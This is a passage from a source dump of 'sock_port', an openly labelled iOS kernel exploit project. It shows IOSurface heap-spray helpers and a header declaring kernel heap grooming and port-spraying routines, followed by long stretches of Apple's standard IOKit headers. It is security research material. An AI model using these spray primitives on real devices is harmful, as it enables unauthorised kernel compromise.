0x%llx, %s\n", pagesize, mach_error_string(ret)); if (ret != KERN_SUCCESS) { printf("IOSurface: Failed to get page size! ret: %x %s\n", ret, mach_error_string(ret)); return ret; } return !IOSurface_init(); } void deinit_IOSurface() { IOSurface_deinit(); } int spray_IOSurface(void *data, size_t size) { return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL); } ================================================ FILE: Exploits/sock_port/exploit_utilities.h ================================================ // // exploit_utilities.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #ifndef exploit_utilities_h #define exploit_utilities_h #include #include #include #include #include #include #include "../sock_port/include/IOKit/IOKitLib.h" #include #include "iosurface.h" struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; }; struct simple_msg { mach_msg_header_t hdr; char buf[0]; }; size_t message_size_for_kalloc_size(size_t kalloc_size); mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition); mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size); void trigger_gc(void); enum { kIOCFSerializeToBinary = 0x00000001U, }; #define kOSSerializeBinarySignature 0x000000D3U enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, kOSSerializeEndCollection = 0x80000000U, kOSSerializeMagic = 0x000000d3U, }; extern mach_vm_size_t pagesize; extern const uint64_t IOSURFACE_CREATE_SURFACE; extern const uint64_t IOSURFACE_SET_VALUE; extern const uint64_t IOSURFACE_GET_VALUE; extern const uint64_t IOSURFACE_DELETE_VALUE; int init_IOSurface(void); void deinit_IOSurface(void); int spray_IOSurface(void *data, size_t size); #endif /* exploit_utilities_h */ ================================================ FILE: Exploits/sock_port/include/IOKit/IOKitKeys.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. * * Common symbol definitions for IOKit. * * HISTORY * */ #ifndef _IOKIT_IOKITKEYS_H #define _IOKIT_IOKITKEYS_H // properties found in the registry root #define kIOKitBuildVersionKey "IOKitBuildVersion" #define kIOKitDiagnosticsKey "IOKitDiagnostics" // a dictionary keyed by plane name #define kIORegistryPlanesKey "IORegistryPlanes" #define kIOCatalogueKey "IOCatalogue" // registry plane names #define kIOServicePlane "IOService" #define kIOPowerPlane "IOPower" #define kIODeviceTreePlane "IODeviceTree" #define kIOAudioPlane "IOAudio" #define kIOFireWirePlane "IOFireWire" #define kIOUSBPlane "IOUSB" // registry ID number #define kIORegistryEntryIDKey "IORegistryEntryID" // IOService class name #define kIOServiceClass "IOService" // IOResources class name #define kIOResourcesClass "IOResources" // IOService driver probing property names #define kIOClassKey "IOClass" #define kIOProbeScoreKey "IOProbeScore" #define kIOKitDebugKey "IOKitDebug" // IOService matching property names #define kIOProviderClassKey "IOProviderClass" #define kIONameMatchKey "IONameMatch" #define kIOPropertyMatchKey "IOPropertyMatch" #define kIOPathMatchKey "IOPathMatch" #define kIOLocationMatchKey "IOLocationMatch" #define kIOParentMatchKey "IOParentMatch" #define kIOResourceMatchKey "IOResourceMatch" #define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch" #define kIONameMatchedKey "IONameMatched" #define kIOMatchCategoryKey "IOMatchCategory" #define kIODefaultMatchCategoryKey "IODefaultMatchCategory" // IOService default user client class, for loadable user clients #define kIOUserClientClassKey "IOUserClientClass" // key to find IOMappers #define kIOMapperIDKey "IOMapperID" #define kIOUserClientCrossEndianKey "IOUserClientCrossEndian" #define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible" #define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance" // diagnostic string describing the creating task #define kIOUserClientCreatorKey "IOUserClientCreator" // IOService notification types #define kIOPublishNotification "IOServicePublish" #define kIOFirstPublishNotification "IOServiceFirstPublish" #define kIOMatchedNotification "IOServiceMatched" #define kIOFirstMatchNotification "IOServiceFirstMatch" #define kIOTerminatedNotification "IOServiceTerminate" // IOService interest notification types #define kIOGeneralInterest "IOGeneralInterest" #define kIOBusyInterest "IOBusyInterest" #define kIOAppPowerStateInterest "IOAppPowerStateInterest" #define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest" #define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage" // IOService interest notification types #define kIOCFPlugInTypesKey "IOCFPlugInTypes" // properties found in services that implement command pooling #define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber) // properties found in services that have transfer constraints #define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber) #define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber) #define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber) #define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber) #define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber) #define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber) #define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber) #define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber) #define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber) #define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber) // properties found in services that wish to describe an icon // // IOIcon = // { // CFBundleIdentifier = "com.example.driver.example"; // IOBundleResourceFile = "example.icns"; // }; // // where IOBundleResourceFile is the filename of the resource #define kIOIconKey "IOIcon" // (OSDictionary) #define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString) #define kIOBusBadgeKey "IOBusBadge" // (OSDictionary) #define kIODeviceIconKey "IODeviceIcon" // (OSDictionary) // property of root that describes the machine's serial number as a string #define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString) // property of root that describes the machine's UUID as a string #define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString) // IODTNVRAM property keys #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" #define kIODTNVRAMPanicInfoKey "aapl,panic-info" // keys for complex boot information #define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts #define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString #define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes // keys for OS Version information #define kOSBuildVersionKey "OS Build Version" #endif /* ! _IOKIT_IOKITKEYS_H */ ================================================ FILE: Exploits/sock_port/include/IOKit/IOKitLib.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * The contents of this file constitute Original Code as defined in and * are subject to the Apple Public Source License Version 1.1 (the * "License"). You may not use this file except in compliance with the * License. Please obtain a copy of the License at * http://www.apple.com/publicsource and read it before using this file. * * This Original Code and all software distributed under the License are * distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT. Please see the * License for the specific language governing rights and limitations * under the License. * * @APPLE_LICENSE_HEADER_END@ */ /* * HISTORY * */ /* * IOKit user library */ #ifndef _IOKIT_IOKITLIB_H #define _IOKIT_IOKITLIB_H #ifdef KERNEL #error This file is not for kernel use #endif #include #include #include #include #include #include #include #include "IOTypes.h" #include "IOKitKeys.h" #include "OSMessageNotification.h" #include __BEGIN_DECLS /*! @header IOKitLib IOKitLib implements non-kernel task access to common IOKit object types - IORegistryEntry, IOService, IOIterator etc. These functions are generic - families may provide API that is more specific.
IOKitLib represents IOKit objects outside the kernel with the types io_object_t, io_registry_entry_t, io_service_t, & io_connect_t. Function names usually begin with the type of object they are compatible with - eg. IOObjectRelease can be used with any io_object_t. Inside the kernel, the c++ class hierarchy allows the subclasses of each object type to receive the same requests from user level clients, for example in the kernel, IOService is a subclass of IORegistryEntry, which means any of the IORegistryEntryXXX functions in IOKitLib may be used with io_service_t's as well as io_registry_t's. There are functions available to introspect the class of the kernel object which any io_object_t et al. represents. IOKit objects returned by all functions should be released with IOObjectRelease. */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ typedef struct IONotificationPort * IONotificationPortRef; /*! @typedef IOServiceMatchingCallback @abstract Callback function to be notified of IOService publication. @param refcon The refcon passed when the notification was installed. @param iterator The notification iterator which now has new objects. */ typedef void (*IOServiceMatchingCallback)( void * refcon, io_iterator_t iterator ); /*! @typedef IOServiceInterestCallback @abstract Callback function to be notified of changes in state of an IOService. @param refcon The refcon passed when the notification was installed. @param service The IOService whose state has changed. @param messageType A messageType enum, defined by IOKit/IOMessage.h or by the IOService's family. @param messageArgument An argument for the message, dependent on the messageType. */ typedef void (*IOServiceInterestCallback)( void * refcon, io_service_t service, uint32_t messageType, void * messageArgument ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @const kIOMasterPortDefault @abstract The default mach port used to initiate communication with IOKit. @discussion When specifying a master port to IOKit functions, the NULL argument indicates "use the default". This is a synonym for NULL, if you'd rather use a named constant. */ extern const mach_port_t kIOMasterPortDefault; /*! @function IOMasterPort @abstract Returns the mach port used to initiate communication with IOKit. @discussion Functions that don't specify an existing object require the IOKit master port to be passed. This function obtains that port. @param bootstrapPort Pass MACH_PORT_NULL for the default. @param masterPort The master port is returned. @result A kern_return_t error code. */ kern_return_t IOMasterPort( mach_port_t bootstrapPort, mach_port_t * masterPort ); /*! @function IONotificationPortCreate @abstract Creates and returns a notification object for receiving IOKit notifications of new devices or state changes. @discussion Creates the notification object to receive notifications from IOKit of new device arrivals or state changes. The notification object can be supply a CFRunLoopSource, or mach_port_t to be used to listen for events. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @result A reference to the notification object. */ IONotificationPortRef IONotificationPortCreate( mach_port_t masterPort ); /*! @function IONotificationPortDestroy @abstract Destroys a notification object created with IONotificationPortCreate. @param notify A reference to the notification object. */ void IONotificationPortDestroy( IONotificationPortRef notify ); /*! @function IONotificationPortGetRunLoopSource @abstract Returns a CFRunLoopSource to be used to listen for notifications. @discussion A notification object may deliver notifications to a CFRunLoop client by adding the run loop source returned by this function to the run loop. @param notify The notification object. @result A CFRunLoopSourceRef for the notification object. */ CFRunLoopSourceRef IONotificationPortGetRunLoopSource( IONotificationPortRef notify ); /*! @function IONotificationPortGetMachPort @abstract Returns a mach_port to be used to listen for notifications. @discussion A notification object may deliver notifications to a mach messaging client if they listen for messages on the port obtained from this function. Callbacks associated with the notifications may be delivered by calling IODispatchCalloutFromMessage with messages received @param notify The notification object. @result A mach_port for the notification object. */ mach_port_t IONotificationPortGetMachPort( IONotificationPortRef notify ); /*! @function IODispatchCalloutFromMessage @abstract Dispatches callback notifications from a mach message. @discussion A notification object may deliver notifications to a mach messaging client, which should call this function to generate the callbacks associated with the notifications arriving on the port. @param unused Not used, set to zero. @param msg A pointer to the message received. @param reference Pass the IONotificationPortRef for the object. */ void IODispatchCalloutFromMessage( void *unused, mach_msg_header_t *msg, void *reference ); /*! @function IOCreateReceivePort @abstract Creates and returns a mach port suitable for receiving IOKit messages of the specified type. @discussion In the future IOKit may use specialized messages and ports instead of the standard ports created by mach_port_allocate(). Use this function instead of mach_port_allocate() to ensure compatibility with future revisions of IOKit. @param msgType Type of message to be sent to this port (kOSNotificationMessageID or kOSAsyncCompleteMessageID) @param recvPort The created port is returned. @result A kern_return_t error code. */ kern_return_t IOCreateReceivePort( uint32_t msgType, mach_port_t * recvPort ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOObject */ /*! @function IOObjectRelease @abstract Releases an object handle previously returned by IOKitLib. @discussion All objects returned by IOKitLib should be released with this function when access to them is no longer needed. Using the object after it has been released may or may not return an error, depending on how many references the task has to the same object in the kernel. @param object The IOKit object to release. @result A kern_return_t error code. */ kern_return_t IOObjectRelease( io_object_t object ); /*! @function IOObjectRetain @abstract Retains an object handle previously returned by IOKitLib. @discussion Gives the caller an additional reference to an existing object handle previously returned by IOKitLib. @param object The IOKit object to retain. @result A kern_return_t error code. */ kern_return_t IOObjectRetain( io_object_t object ); /*! @function IOObjectGetClass @abstract Return the class name of an IOKit object. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the class the object is an instance of. @param object The IOKit object. @param className Caller allocated buffer to receive the name string. @result A kern_return_t error code. */ kern_return_t IOObjectGetClass( io_object_t object, io_name_t className ); /*! @function CFStringRef IOObjectCopyClass @abstract Return the class name of an IOKit object. @discussion This function does the same thing as IOObjectGetClass, but returns the result as a CFStringRef. @param object The IOKit object. @result The resulting CFStringRef. This should be released by the caller. If a valid object is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopyClass(io_object_t object) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function CFStringRef IOObjectCopySuperclassForClass @abstract Return the superclass name of the given class. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the superclass of the class. @param classname The name of the class as a CFString. @result The resulting CFStringRef. This should be released by the caller. If there is no superclass, or a valid class name is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopySuperclassForClass(CFStringRef classname) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function CFStringRef IOObjectCopyBundleIdentifierForClass @abstract Return the bundle identifier of the given class. @discussion This function uses the OSMetaClass system in the kernel to derive the name of the kmod, which is the same as the bundle identifier. @param classname The name of the class as a CFString. @result The resulting CFStringRef. This should be released by the caller. If a valid class name is not passed in, then NULL is returned.*/ CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef classname) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; /*! @function IOObjectConformsTo @abstract Performs an OSDynamicCast operation on an IOKit object. @discussion This function uses the OSMetaClass system in the kernel to determine if the object will dynamic cast to a class, specified as a C-string. In other words, if the object is of that class or a subclass. @param object An IOKit object. @param className The name of the class, as a C-string. @result If the object handle is valid, and represents an object in the kernel that dynamic casts to the class true is returned, otherwise false. */ boolean_t IOObjectConformsTo( io_object_t object, const io_name_t className ); /*! @function IOObjectIsEqualTo @abstract Checks two object handles to see if they represent the same kernel object. @discussion If two object handles are returned by IOKitLib functions, this function will compare them to see if they represent the same kernel object. @param object An IOKit object. @param anObject Another IOKit object. @result If both object handles are valid, and represent the same object in the kernel true is returned, otherwise false. */ boolean_t IOObjectIsEqualTo( io_object_t object, io_object_t anObject ); /*! @function IOObjectGetRetainCount @abstract Returns kernel retain count of an IOKit object. @discussion This function may be used in diagnostics to determine the current retain count of the kernel object. @param object An IOKit object. @result If the object handle is valid, the kernel objects retain count is returned, otherwise zero is returned. */ uint32_t IOObjectGetRetainCount( io_object_t object ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOIterator, subclass of IOObject */ /*! @function IOIteratorNext @abstract Returns the next object in an iteration. @discussion This function returns the next object in an iteration, or zero if no more remain or the iterator is invalid. @param iterator An IOKit iterator handle. @result If the iterator handle is valid, the next element in the iteration is returned, otherwise zero is returned. The element should be released by the caller when it is finished. */ io_object_t IOIteratorNext( io_iterator_t iterator ); /*! @function IOIteratorReset @abstract Resets an iteration back to the beginning. @discussion If an iterator is invalid, or if the caller wants to start over, IOIteratorReset will set the iteration back to the beginning. @param iterator An IOKit iterator handle. */ void IOIteratorReset( io_iterator_t iterator ); /*! @function IOIteratorIsValid @abstract Checks an iterator is still valid. @discussion Some iterators will be made invalid if changes are made to the structure they are iterating over. This function checks the iterator is still valid and should be called when IOIteratorNext returns zero. An invalid iterator can be reset and the iteration restarted. @param iterator An IOKit iterator handle. @result True if the iterator handle is valid, otherwise false is returned. */ boolean_t IOIteratorIsValid( io_iterator_t iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOService, subclass of IORegistryEntry */ /*! @function IOServiceGetMatchingService @abstract Look up a registered IOService object that matches a matching dictionary. @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @result The first service matched is returned on success. The service must be released by the caller. */ io_service_t IOServiceGetMatchingService( mach_port_t masterPort, CFDictionaryRef matching ); /*! @function IOServiceGetMatchingServices @abstract Look up registered IOService objects that match a matching dictionary. @discussion This is the preferred method of finding IOService objects currently registered by IOKit (that is, objects that have had their registerService() methods invoked). To find IOService objects that aren't yet registered, use an iterator as created by IORegistryEntryCreateIterator(). IOServiceAddMatchingNotification can also supply this information and install a notification of new IOServices. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @param existing An iterator handle is returned on success, and should be released by the caller when the iteration is finished. @result A kern_return_t error code. */ kern_return_t IOServiceGetMatchingServices( mach_port_t masterPort, CFDictionaryRef matching, io_iterator_t * existing ); kern_return_t IOServiceAddNotification( mach_port_t masterPort, const io_name_t notificationType, CFDictionaryRef matching, mach_port_t wakePort, uintptr_t reference, io_iterator_t * notification ) DEPRECATED_ATTRIBUTE; /*! @function IOServiceAddMatchingNotification @abstract Look up registered IOService objects that match a matching dictionary, and install a notification request of new IOServices that match. @discussion This is the preferred method of finding IOService objects that may arrive at any time. The type of notification specifies the state change the caller is interested in, on IOService's that match the match dictionary. Notification types are identified by name, and are defined in IOKitKeys.h. The matching information used in the matching dictionary may vary depending on the class of service being looked up. @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the armed notification is fired. When the notification is delivered, the io_iterator_t representing the notification should be iterated through to pick up all outstanding objects. When the iteration is finished the notification is rearmed. See IONotificationPortCreate. @param notificationType A notification type from IOKitKeys.h
kIOPublishNotification Delivered when an IOService is registered.
kIOFirstPublishNotification Delivered when an IOService is registered, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
kIOMatchedNotification Delivered when an IOService has had all matching drivers in the kernel probed and started.
kIOFirstMatchNotification Delivered when an IOService has had all matching drivers in the kernel probed and started, but only once per IOService instance. Some IOService's may be reregistered when their state is changed.
kIOTerminatedNotification Delivered after an IOService has been terminated. @param matching A CF dictionary containing matching information, of which one reference is always consumed by this function (Note prior to the Tiger release there was a small chance that the dictionary might not be released if there was an error attempting to serialize the dictionary). IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @param callback A callback function called when the notification fires. @param refCon A reference constant for the callbacks use. @param notification An iterator handle is returned on success, and should be released by the caller when the notification is to be destroyed. The notification is armed when the iterator is emptied by calls to IOIteratorNext - when no more objects are returned, the notification is armed. Note the notification is not armed when first created. @result A kern_return_t error code. */ kern_return_t IOServiceAddMatchingNotification( IONotificationPortRef notifyPort, const io_name_t notificationType, CFDictionaryRef matching, IOServiceMatchingCallback callback, void * refCon, io_iterator_t * notification ); /*! @function IOServiceAddInterestNotification @abstract Register for notification of state changes in an IOService. @discussion IOService objects deliver notifications of their state changes to their clients via the IOService::message API, and to other interested parties including callers of this function. Message type s are defined IOKit/IOMessage.h. @param notifyPort A IONotificationPortRef object that controls how messages will be sent when the notification is fired. See IONotificationPortCreate. @param interestType A notification type from IOKitKeys.h
kIOGeneralInterest General state changes delivered via the IOService::message API.
kIOBusyInterest Delivered when the IOService changes its busy state to or from zero. The message argument contains the new busy state causing the notification. @param callback A callback function called when the notification fires, with messageType and messageArgument for the state change. @param refCon A reference constant for the callbacks use. @param notification An object handle is returned on success, and should be released by the caller when the notification is to be destroyed. @result A kern_return_t error code. */ kern_return_t IOServiceAddInterestNotification( IONotificationPortRef notifyPort, io_service_t service, const io_name_t interestType, IOServiceInterestCallback callback, void * refCon, io_object_t * notification ); /*! @function IOServiceMatchPropertyTable @abstract Match an IOService objects with matching dictionary. @discussion This function calls the matching method of an IOService object and returns the boolean result. @param service The IOService object to match. @param matching A CF dictionary containing matching information. IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. @param matches The boolean result is returned. @result A kern_return_t error code. */ kern_return_t IOServiceMatchPropertyTable( io_service_t service, CFDictionaryRef matching, boolean_t * matches ); /*! @function IOServiceGetBusyState @abstract Returns the busyState of an IOService. @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. @param service The IOService whose busyState to return. @param busyState The busyState count is returned. @result A kern_return_t error code. */ kern_return_t IOServiceGetBusyState( io_service_t service, uint32_t * busyState ); /*! @function IOServiceWaitQuiet @abstract Wait for an IOService's busyState to be zero. @discussion Blocks the caller until an IOService is non busy, see IOServiceGetBusyState. @param service The IOService wait on. @param waitTime Specifies a maximum time to wait. @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ kern_return_t IOServiceWaitQuiet( io_service_t service, mach_timespec_t * waitTime ); /*! @function IOKitGetBusyState @abstract Returns the busyState of all IOServices. @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. IOKitGetBusyState returns the busy state of the root of the service plane which reflects the busy state of all IOServices. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param busyState The busyState count is returned. @result A kern_return_t error code. */ kern_return_t IOKitGetBusyState( mach_port_t masterPort, uint32_t * busyState ); /*! @function IOKitWaitQuiet @abstract Wait for a all IOServices' busyState to be zero. @discussion Blocks the caller until all IOServices are non busy, see IOKitGetBusyState. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param waitTime Specifies a maximum time to wait. @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ kern_return_t IOKitWaitQuiet( mach_port_t masterPort, mach_timespec_t * waitTime ); /*! @function IOServiceOpen @abstract A request to create a connection to an IOService. @discussion A non kernel client may request a connection be opened via the IOServiceOpen() library function, which will call IOService::newUserClient in the kernel. The rules & capabilities of user level clients are family dependent, the default IOService implementation returns kIOReturnUnsupported. @param service The IOService object to open a connection to, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param owningTask The mach task requesting the connection. @param type A constant specifying the type of connection to be created, interpreted only by the IOService's family. @param connect An io_connect_t handle is returned on success, to be used with the IOConnectXXX APIs. It should be destroyed with IOServiceClose(). @result A return code generated by IOService::newUserClient. */ kern_return_t IOServiceOpen( io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t * connect ); /*! @function IOServiceRequestProbe @abstract A request to rescan a bus for device changes. @discussion A non kernel client may request a bus or controller rescan for added or removed devices, if the bus family does automatically notice such changes. For example, SCSI bus controllers do not notice device changes. The implementation of this routine is family dependent, and the default IOService implementation returns kIOReturnUnsupported. @param service The IOService object to request a rescan, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. @param options An options mask, interpreted only by the IOService's family. @result A return code generated by IOService::requestProbe. */ kern_return_t IOServiceRequestProbe( io_service_t service, uint32_t options ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IOService connection */ /*! @function IOServiceClose @abstract Close a connection to an IOService and destroy the connect handle. @discussion A connection created with the IOServiceOpen should be closed when the connection is no longer to be used with IOServiceClose. @param connect The connect handle created by IOServiceOpen. It will be destroyed by this function, and should not be released with IOObjectRelease. @result A kern_return_t error code. */ kern_return_t IOServiceClose( io_connect_t connect ); /*! @function IOConnectAddRef @abstract Adds a reference to the connect handle. @discussion Adds a reference to the connect handle. @param connect The connect handle created by IOServiceOpen. @result A kern_return_t error code. */ kern_return_t IOConnectAddRef( io_connect_t connect ); /*! @function IOConnectRelease @abstract Remove a reference to the connect handle. @discussion Removes a reference to the connect handle. If the last reference is removed an implicit IOServiceClose is performed. @param connect The connect handle created by IOServiceOpen. @result A kern_return_t error code. */ kern_return_t IOConnectRelease( io_connect_t connect ); /*! @function IOConnectGetService @abstract Returns the IOService a connect handle was opened on. @discussion Finds the service object a connection was opened on. @param connect The connect handle created by IOServiceOpen. @param service On succes, the service handle the connection was opened on, which should be released with IOObjectRelease. @result A kern_return_t error code. */ kern_return_t IOConnectGetService( io_connect_t connect, io_service_t * service ); /*! @function IOConnectSetNotificationPort @abstract Set a port to receive family specific notifications. @discussion This is a generic method to pass a mach port send right to be be used by family specific notifications. @param connect The connect handle created by IOServiceOpen. @param type The type of notification requested, not interpreted by IOKit and family defined. @param port The port to which to send notifications. @param reference Some families may support passing a reference parameter for the callers use with the notification. @result A kern_return_t error code. */ kern_return_t IOConnectSetNotificationPort( io_connect_t connect, uint32_t type, mach_port_t port, uintptr_t reference ); /*! @function IOConnectMapMemory @abstract Map hardware or shared memory into the caller's task. @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller. @param connect The connect handle created by IOServiceOpen. @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings. @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection. @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess. @param ofSize The size of the mapping created is passed back on success. @result A kern_return_t error code. */ #if !__LP64__ kern_return_t IOConnectMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t *atAddress, vm_size_t *ofSize, IOOptionBits options ); kern_return_t IOConnectMapMemory64 #else kern_return_t IOConnectMapMemory #endif (io_connect_t connect, uint32_t memoryType, task_port_t intoTask, mach_vm_address_t *atAddress, mach_vm_size_t *ofSize, IOOptionBits options ); /*! @function IOConnectUnmapMemory @abstract Remove a mapping made with IOConnectMapMemory. @discussion This is a generic method to remove a mapping in the callers task. @param connect The connect handle created by IOServiceOpen. @param memoryType The memory type originally requested in IOConnectMapMemory. @param intoTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection. @param atAddress The address of the mapping to be removed. @result A kern_return_t error code. */ #if !__LP64__ kern_return_t IOConnectUnmapMemory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, vm_address_t atAddress ); kern_return_t IOConnectUnmapMemory64 #else kern_return_t IOConnectUnmapMemory #endif (io_connect_t connect, uint32_t memoryType, task_port_t fromTask, mach_vm_address_t atAddress ); /*! @function IOConnectSetCFProperties @abstract Set CF container based properties on a connection. @discussion This is a generic method to pass a CF container of properties to the connection. The properties are interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. @param connect The connect handle created by IOServiceOpen. @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the family. */ kern_return_t IOConnectSetCFProperties( io_connect_t connect, CFTypeRef properties ); /*! @function IOConnectSetCFProperty @abstract Set a CF container based property on a connection. @discussion This is a generic method to pass a CF property to the connection. The property is interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. @param connect The connect 